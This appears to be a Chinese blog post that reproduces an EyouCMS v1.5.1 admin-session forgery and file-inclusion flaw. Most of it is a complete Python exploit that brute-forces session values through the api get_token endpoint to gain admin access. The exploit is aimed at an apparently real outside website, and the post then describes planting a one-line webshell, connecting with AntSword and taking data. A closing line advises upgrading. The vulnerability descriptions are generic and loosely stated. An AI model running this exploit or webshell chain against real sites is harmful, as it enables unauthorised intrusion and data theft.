EyouCMSv1.5.1漏洞复现

        赞赞网络科技 EyouCMS(易优CMS)是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统(CMS)。

        Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞,该漏洞使攻击者可以通过调用api,在前台设置一个管理员的session,后台远程插件下载文件包含getshell。

漏洞描述

          eyoucms是一款广泛使用的开源CMS系统,然而最近发现该系统存在多个漏洞,使得攻击者可以轻易地获取系统权限并执行恶意代码。

以下是几个重要的漏洞:

1. SQL注入漏洞

        该漏洞存在于eyoucms的登录页面,攻击者可以通过构造特定的SQL语句绕过身份验证并获取管理员权限。此外,攻击者还可以利用该漏洞在数据库中执行任意代码。

2. 文件包含漏洞

        eyoucms的文件包含漏洞存在于多个页面,攻击者可以通过构造特定的URL参数来读取和执行任意文件。这使得攻击者可以轻松地获取系统权限并执行恶意代码。

3. 命令注入漏洞        

        该漏洞存在于eyoucms的后台管理页面,攻击者可以通过构造特定的命令绕过身份验证并执行任意命令。这使得攻击者可以在系统中执行任意代码,包括删除、修改和上传文件等操作。

        为了避免这些漏洞被攻击者利用,eyoucms的开发者已经发布了修复程序。

        影响范围:EyouCMS <= 1.5.1

复现步骤:

如果不知道版本的话就先做信息收集

EyouCMSv1.5.1漏洞复现_第1张图片

EyouCMSv1.5.1漏洞复现_第2张图片

        这是版本号:v1.5.1

        通过百度查询eyouCMS v1.5.1版本的漏洞

        通过查询可知利用Python脚本去爆破数据

        我在网上找了个脚本如下:

# -*- coding:utf-8 -*-
from time import time

import requests
import re

# 定义 header 头, 绕过 isAjax
header = {'x-requested-with': 'xmlhttprequest'}

# 定义一个 requests 会话
request = requests.session()

PHPSESSION = ""


# 绕过第一个判断
def get_session(url):
    global PHPSESSION

    # 设置 admin_id 并且,获取 PHPSESSION
    payload = '/index.php'
    result = request.get(url=url + payload, headers=header)
    # 获取PHPSESSION
    print("[+] PHPSESSION = " + re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0])
    PHPSESSION = re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0]


def set_admin_id(url):
    # 设置一个 admin_id 以绕过,第一个条件
    payload = '/index.php?m=api&c=ajax&a=get_token&name=admin_id'
    result = request.get(url=url + payload, headers=header).text
    print(f"[+] 正在设置 admin_id -> [{result}]")


def set_admin_login_expire(url):
    payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_login_expire"

    while True:
        result = request.get(url=url + payload, headers=header).text

        # 第二个判断条件,判断登录是否在一小时里
        if (time() - int(change(result), 10) < 3600):
            print("[+] admin_login_expire = " + result)
            break

        print(f"[INFO] 正在爆破 admin_login_expire -> [{result}]")


def set_admin_info_role_id(url):
    payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_info.role_id"

    while True:
        result = request.get(url=url + payload, headers=header).text

        # 第三个判断条件,判断是否是管理员权限
        if (int(change(result), 10) <= 0):
            print("[+] admin_login_expire = " + result)
            break

        print(f"[INFO] 正在爆破 admin_info.role_id -> [{result}]")


def check_login(url):
    payload = "login.php?m=admin&c=System&a=web&lang=cn"
    result = request.get(url=url + payload).text

    if "网站LOGO" in result:
        print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录成功!")
    else:
        print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录失败!")

# 如果第一个字符为字母就直接返回0,不是则直到找到字母,并且返回前面不是字母的字符
def change(string):
    temp = ''
    for n, s in enumerate(string):
        if n == 0:
            if s.isalpha():
                return '0'
                break
        if s.isdigit():
            temp += str(s)
        else:
            if s.isalpha():
                break
    return temp


def run(url):
    # 开始计时
    time_start = time()

    get_session(url)
    set_admin_id(url)
    set_admin_login_expire(url)
    set_admin_info_role_id(url)
    check_login(url)

    print(f"[+] PHPSESSION = {PHPSESSION}")

    # 结束计时
    time_end = time()

    print(f"[+] 总共用时 {int(time_end) - int(time_start)} s")


if __name__ == '__main__':
    url = "http://js.i-zeeker.com"
    run(url)

EyouCMSv1.5.1漏洞复现_第3张图片

        跑出成功的cookie值:hdvu568p2jhj1bdid6e3h5c3kc

        去网站的登录页面

EyouCMSv1.5.1漏洞复现_第4张图片

        登录后台成功

EyouCMSv1.5.1漏洞复现_第5张图片

        在后台修改文件

EyouCMSv1.5.1漏洞复现_第6张图片

EyouCMSv1.5.1漏洞复现_第7张图片

        一句话木马进入

EyouCMSv1.5.1漏洞复现_第8张图片

        用蚁剑连接

EyouCMSv1.5.1漏洞复现_第9张图片

        拿下数据

EyouCMSv1.5.1漏洞复现_第10张图片

漏洞修复

升级EyouCMS至V1.5.2或以后版本。

你可能感兴趣的:(web安全,网络安全,安全,网络,漏洞复现)